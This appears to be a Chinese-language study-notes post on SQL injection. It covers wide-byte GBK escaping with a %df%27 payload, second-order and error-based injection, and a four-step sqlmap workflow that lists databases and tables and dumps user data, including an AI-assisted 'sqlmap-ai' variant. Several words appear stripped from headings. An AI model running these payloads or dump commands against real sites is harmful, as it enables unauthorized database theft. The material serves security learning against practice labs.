接着上篇继续搞 SQL 注入:宽字节注入的原理和我自己的验证过程,还有 sqlmap 的实战用法——GET/POST 注入、拖库拖表,以及我踩过的坑。
核心知识点
1. 宽字节(针对 GBK 编码)
- 场景:MySQL 使用 GBK 编码,后端将单引号转义为
\'(加反斜杠)。 - 原理:在单引号前加
%df%5c组合。%df与转义产生的%5c(反斜杠)在 GBK 解码时合并成一个汉字,导致反斜杠”消失”,单引号成功逃逸。
:%df' → 后端转义成 %df%5c' → GBK 解码为 "運'" → 单引号生效
2. 二次
- 原理:攻击首次的恶意语句因后端转义被当作普通数据数据库(未执行);后续程序再取出该数据用于 SQL 拼接时,缺少再次校验,触发。
- 特点:一次"",二次”触发”,危害隐蔽。
3. 报错
- 除
extractvalue、updatexml外,floor()等函数也可用于报错。 - 报错用途:查询表名、列名等数据库结构信息。
4. 点
- 除 GET、POST 参数外,点可能存在于 Referer、Cookie、User-Agent 等 HTTP 头部字段中。
- 测试时需覆盖这些位置。
5. sqlmap 自动化(脱库四步曲)
sqlmap 像一个”自动开锁机器人”,自动向目标发送成千上万种带陷阱的语句直到成功。获取数据像剥洋葱,一层层。
第一步:测试漏洞
python sqlmap.py -u "http://目标网站.com/page.php?id=1"
看到 is vulnerable 说明存在漏洞。
第二步:列出所有数据库
python sqlmap.py -u "http://目标网站.com/page.php?id=1" --dbs
第三步:列出表名
python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" --tables
第四步:列出字段并拖出数据
python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" -T "users" --columns --dump
参数说明:-D 指定数据库,-T 指定表,--columns 列出字段,--dump 下载。
POST 请求 / 抓方式:
# 用 Burp 抓登录请求保存为 request.txt
python sqlmap.py -r request.txt --dbs
常用参数:--current-db 获取当前数据库;--param 指定探测参数;--data 指定 POST 数据;--headers 指定请求头。
6. sqlmap-ai(AI 赋能)
- 概念:给 sqlmap AI 大脑(如 DeepSeek),自动读懂英文报错、替用户做决策、生成报告。
- ** API Key**:
platform.deepseek.com创建sk-开头的 Key →sqlmap-ai --config-wizard一键。 - 四步命令(与 sqlmap 相同,加
--batch自动模式不询问):
sqlmap-ai -u "http://xxx.com/p.php?id=1"
sqlmap-ai -u "http://xxx.com/p.php?id=1" --dbs
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" --tables
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" -T "表名" --dump
sqlmap-ai -r request.txt --dbs # POST 抓方式
7. 法律法规
- 渗透测试授权前提下进行;未经授权恶意访问触犯法律。在合法靶场练习,不攻击真实网站。
实操步骤
# 宽字节验证
?id=1%df%27 and 1=1 --+
# sqlmap GET
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs
# sqlmap 拖表拖数据
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump
# sqlmap POST
python sqlmap.py -r /tmp/request.txt --dbs --batch
常见错误与排查
- sqlmap 卡在 Y/N 交互 → 加
--batch。 - POST 用
-u无效 → 用-r指定请求文件或--data。 - 宽字节无效 → 确认数据库确实使用 GBK 编码;或后端不是简单加反斜杠转义。
- AI 生成的 sqlmap-ai 脚本缺模块/参数不准 → 手动
pip install并核对 URL 参数。